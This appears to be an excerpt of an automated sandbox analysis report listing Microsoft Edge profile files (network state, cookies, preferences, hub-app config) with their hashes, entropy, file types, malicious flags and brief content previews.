Entropy (8bit):	5.093031842034513
Encrypted:	false
SSDEEP:	6:HUz10QB1N723oH+Tcwtk2WwnvB2KLlVUz29kIq2PN723oH+Tcwtk2WwnvIFUv:+1PBaYebkxwnvFL22TvVaYebkxwnQFUv
MD5:	5A3030AC91A412F97B414DE2DAC2CFCD
SHA1:	2D86C957F6766A04ED8FAD3A92E1C82DFFA86EAE
SHA-256:	88B7553FD6C977D757936580BB5F4980A50FDBC74F747709C02AFE773A82CFE8
SHA-512:	313CA24B76C90CDE85E1F33D1AC21CCA3C9C3B7D629B80AFD21D4FB1AB48C2706CB8AA39FB91A661BA8280E3CB88CBCF1B9049FB243C63C2C1DB998962AB8B72
Malicious:	false
Preview:	2024/11/11-06:40:24.971 2100 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/11-06:40:25.020 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324615551575811
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rg:C1gAg1zfvI
MD5:	DAA7343C8163AE3FCACEB8C4C2290C16
SHA1:	E99C4AD24DB097F6EFB856541B00D7AD6954E511
SHA-256:	D1AF1EFBC226557744D4A81814941B316286F422202890FA30266B234427EA35
SHA-512:	E89FB205953E1928ABDAA136DD55A5C001FB60613178B24C2E1754CE15B544AD15CDF8D537F4B4D09AF95D0C0D9CC1237055B7DA8D2A035455018C3D6AE7C9B1
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0e09cae2-b3ca-49c8-af40-a29526af4444.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1cd793a4-84ce-4281-bae5-9922c89686e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2809fa5d-b248-40ad-a965-788110893cfa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\555488f0-285e-45fa-af74-79ca97dd529a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\841e702c-755f-4236-abd2-b2b3336fdcf0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7724937474063616
Encrypted:	false
SSDEEP:	384:V1RUoLPXmTuXRXY1hkPTRCGMIzL2Hb0oqrWWdoFFYWiU9XI0LhJVb:1UQPXmTuXFWhkPTRCGMIzCHb0oqrWWdg
MD5:	C7D91C4A9B713B813D044F536C19B808
SHA1:	0596CFC69B8D7F2B6455B4F8D7518C5E5C6EDA95
SHA-256:	071B5DC3AEDE2A5FB5BFFCBCACA05384C5F1F644F4DC990CD3E3A6DAD4E4B1E7
SHA-512:	BEDAAEFBA9B26A9EFD19222A8E67EB6570C05F4BA24F66636AC07E7D12B963FC9FFE93652F64F2C60D1BC4E6BA677F5C8C8068F0BABC2E94AA76330F9762E64F
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.547844364833293
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6nRTKaYDvciIwEt8c01a:+IEumQv8m1ccnvS6nzYzawEXH
MD5:	9F8FEE029246D0D2F25578041997982D
SHA1:	0A9543D3069D3276550762398C8520B82C278C91
SHA-256:	5F8A4ED16F101A6BA88E2A095D4BD493A3E853149FE1C6AAB478DC903FBEFBE2
SHA-512:	27F8AC0817818B33593693D3D95DB88F6DDC0DF7DB7CEB751ADBA9F32DC7D3832F5150C6196A26C053762ECB78083AA2818F2CFAD4249C50F39E9E6F81D8DB1A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF395f8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3e7c1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF45928.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF48029.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c319d351-9c97-4e59-8e19-6f1d12888655.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fb0bc18b-c6f9-45a6-837f-f7a3bc04b27e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.227213306643122
Encrypted:	false
SSDEEP:	192:stUJ99QTryDigabatSuyp5s6IaFvrE9koc6tNEBm18HbV+Fb4pQwRczUlP7YJ:stUPGKSu45s6ICD+tqbGcpQwuYq
MD5:	3E46FC8FF23582952942BDDD306DD6DF
SHA1:	A8F513EC6922989B5B386A3BC875DC0C3501C390
SHA-256:	4CD1B748540CA24FE5A50E9DE6BE31CF94BADA2F6D4CE8B724614F2D842096A9
SHA-512:	9F2F360132FAE4BE6B8C02B5DCE42FC133A693D550D91EC90FD21C179CD8A78192AB9E2CD7B76DB7D68A759CF7F174C66C3B93DACE0D3C65C9DAE70BE456AF44
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3cdd0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.227213306643122
Encrypted:	false
SSDEEP:	192:stUJ99QTryDigabatSuyp5s6IaFvrE9koc6tNEBm18HbV+Fb4pQwRczUlP7YJ:stUPGKSu45s6ICD+tqbGcpQwuYq
MD5:	3E46FC8FF23582952942BDDD306DD6DF
SHA1:	A8F513EC6922989B5B386A3BC875DC0C3501C390
SHA-256:	4CD1B748540CA24FE5A50E9DE6BE31CF94BADA2F6D4CE8B724614F2D842096A9
SHA-512:	9F2F360132FAE4BE6B8C02B5DCE42FC133A693D550D91EC90FD21C179CD8A78192AB9E2CD7B76DB7D68A759CF7F174C66C3B93DACE0D3C65C9DAE70BE456AF44
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4151a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.227213306643122
Encrypted:	false
SSDEEP:	192:stUJ99QTryDigabatSuyp5s6IaFvrE9koc6tNEBm18HbV+Fb4pQwRczUlP7YJ:stUPGKSu45s6ICD+tqbGcpQwuYq
MD5:	3E46FC8FF23582952942BDDD306DD6DF
SHA1:	A8F513EC6922989B5B386A3BC875DC0C3501C390
SHA-256:	4CD1B748540CA24FE5A50E9DE6BE31CF94BADA2F6D4CE8B724614F2D842096A9
SHA-512:	9F2F360132FAE4BE6B8C02B5DCE42FC133A693D550D91EC90FD21C179CD8A78192AB9E2CD7B76DB7D68A759CF7F174C66C3B93DACE0D3C65C9DAE70BE456AF44
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375798819422007","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48fa9.TMP (copy)

Download File

